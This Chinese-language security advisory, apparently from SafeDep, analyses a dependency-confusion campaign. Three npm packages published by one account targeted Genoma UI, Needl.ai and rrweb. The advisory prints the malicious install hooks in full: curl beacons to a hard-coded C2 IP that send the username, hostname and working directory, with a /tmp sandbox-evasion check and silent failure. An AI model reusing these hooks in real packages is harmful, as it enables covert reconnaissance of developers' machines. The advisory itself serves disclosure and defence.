恶意 npm 依赖混淆攻击瞄准 Genoma UI 等

目录

摘要

一个单一的 npm 账户(victim59)发布了恶意包,通过依赖混淆攻击至少三个组织:@genoma-ui/components@needl-ai/commonrrweb-v1。每个包使用 preinstallpostinstall 钩子将系统侦察数据(用户名、主机名、工作目录)信标到 DigitalOcean 上的硬编码 C2 IP。包内不包含任何功能性代码;它们的存在目的仅是在 npm install 期间确认内部包名是否解析到攻击者的公开版本。

妥协指标:​

  • 包:​ @genoma-ui/[email protected]@needl-ai/[email protected][email protected]
  • C2 端点:​ hxxp://64[.]227[.]183[.]144/depconf/<package-name>/
  • npm 维护者:​ victim59victim59@proton[.]me
  • 基础设施:​ DigitalOcean droplet(AS14061)

攻击活动

SafeDep 的恶意包分析引擎在 2026 年 4 月 9 日标记了 @genoma-ui/[email protected]。注册表侦察显示,发布账户 victim59 还维护着另外两个具有相同有效载荷和结构的包。

bash
$ curl -s "https://registry.npmjs.org/-/v1/search?text=maintainer:victim59" \ | jq '.objects[].package | {name, version, date}'
json
{"name": "rrweb-v1", "version": "99.99.2", "date": "2026-03-13T07:04:15.190Z"} {"name": "@needl-ai/common", "version": "99.99.2", "date": "2026-04-05T08:49:22.833Z"} {"name": "@genoma-ui/components", "version": "99.99.1", "date": "2026-04-09T18:41:21.110Z"}

这三个包具有相同的特征:

信号
描述"session replay utility"
作者"anonymous"
维护者邮箱[email protected]
版本模式99.99.x(膨胀以超过内部版本)
发布频率首先发布占位符 1.0.0,然后在数天内发布恶意 99.99.x
文件数2(package.json + 空 index.js)

时间线显示这是一次有计划的攻击活动:rrweb-v1 于 3 月 11 日首次发布,@needl-ai/common 于 4 月 3 日,@genoma-ui/components 于 4 月 7 日。每个包都以良性的 1.0.0 占位符开始,然后才植入恶意版本。

目标识别

这些作用域包名指向特定组织:

  • @genoma-ui/components 目标是 Unico,一家巴西身份科技公司,其内部设计系统名为 Genoma UI。他们的组件库基于 Material UI 构建并作为内部 npm 包分发。
  • @needl-ai/common 目标是 Needl.ai,一家位于班加罗尔的企业 AI 平台,可能使用 @needl-ai/common 作为共享内部包。
  • rrweb-v1 冒充 rrweb,一个开源会话回放库,描述为"record and replay the web"。攻击者的"session replay utility"描述是对此的暗示。

有效载荷分析

攻击完全存活于 package.json 安装钩子中。每个包中的 index.js 是一个单行注释占位符:

javascript
// placeholder for @genoma-ui/components

@genoma-ui/[email protected] 的恶意 package.json

json
{ "name": "@genoma-ui/components", "version": "99.99.1", "description": "session replay utility", "main": "index.js", "scripts": { "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=pre&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi", "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s \"http://64.227.183.144/depconf/@genoma-ui/components/?stage=post&u=$(whoami)&h=$(hostname)&d=$(pwd)&t=$(date +%s)\" > /dev/null 2>&1 || true; fi" }, "author": "anonymous", "license": "ISC" }

将其与良性的 1.0.0 对比,可以看出攻击者所做的确切更改:

diff
"version": "1.0.0", "description": "A simple, benign placeholder for npm.", "version": "99.99.1", "description": "session replay utility", ... "preinstall": "", "postinstall": "" "preinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ...", "postinstall": "if [ \"$(pwd | cut -c1-4)\" != \"/tmp\" ]; then curl -s ..."

执行流程

preinstallpostinstall 脚本都运行相同的逻辑:

  1. 沙箱规避:​ if [ "$(pwd | cut -c1-4)" != "/tmp" ] 检查工作目录是否以 /tmp 开头。许多自动化分析环境会提取并安装包到临时目录。此防护措施跳过这些上下文中的执行。
  2. 系统侦察信标:​ 如果检查通过,curlhxxp://64[.]227[.]183[.]144/depconf/@genoma-ui/components/ 发送 GET 请求,带有以下查询参数:
    • stage=prestage=post(哪个安装阶段触发了信标)
    • u=$(whoami)(当前操作系统用户名)
    • h=$(hostname)(机器主机名)
    • d=$(pwd)(工作目录,揭示项目路径结构)
    • t=$(date +%s)(Unix 时间戳)
  3. 静默失败:​ 输出重定向到 /dev/null 2>&1,而 || true 确保无论 C2 服务器是否响应,安装都会完成。受害者看不到任何错误。

stage 参数值得关注:同时接收 prepost 回调确认了完整的 npm 生命周期执行,将真正的开发者机器安装与部分或中断的分析运行区分开来。

这告诉攻击者什么

成功的回调证明依赖混淆成功了:目标组织的构建系统或开发者机器将内部包名解析到了攻击者的公开版本。主机名和工作目录揭示了内部网络拓扑和项目结构。用户名确认了受影响的账户(人类开发者、CI 运行器)。

这是一个侦察有效载荷。攻击者收集访问证明和环境细节,以计划使用更具破坏性的有效载荷进行后续攻击(凭据窃取、反向 shell 或供应链后门)。

归因

victim59 账户是为这次活动专门创建的。Proton Mail 地址、通用"anonymous"作者字段和单一用途账户都指向一个一次性身份。该账户除了这三个包外没有发布任何其他包。

位于 64.227.183.144 的 C2 服务器是 DigitalOcean droplet(AS14061)。回调 URL 中的 /depconf/ 路径前缀("depconf"可能是"dependency confusion"的缩写)表明这是为这次活动专门构建的基础设施。

1.0.0 占位符的描述很有启发性:@genoma-ui/[email protected] 使用了"A simple, benign placeholder for npm."。"benign"这个词在包描述中不寻常,表明攻击者意识到占位符版本可能会被分析。

在撰写本文时,尚不清楚这是恶意行为者还是有授权的渗透测试。针对多个不相关组织(一家巴西身份公司、一家印度 AI 平台和一个开源项目)来自单一 npm 账户的情况对于授权评估来说不常见,后者通常一次只针对一个客户。

缓解措施

使用私有 npm 作用域的组织应采取措施防止依赖混淆:

  • 作用域注册:​ 在公共注册表上注册组织的 npm 作用域,即使只使用私有注册表。这可以防止攻击者公开声明 @your-org/package
  • 注册表固定:​ 使用 .npmrc 配置 @your-org:registry=https://your-private-registry/,以确保作用域包始终从私有注册表解析。
  • 沙箱安装:​ 诸如 pmg 之类的工具可以沙箱化 npm install,阻止已知的恶意包,并强制执行依赖冷却期,从而对未知威胁(如新发布的依赖混淆包)提供合理保护。

参考

SafeDep 博客最新动态

关注以获取开源安全与工程的最新更新和见解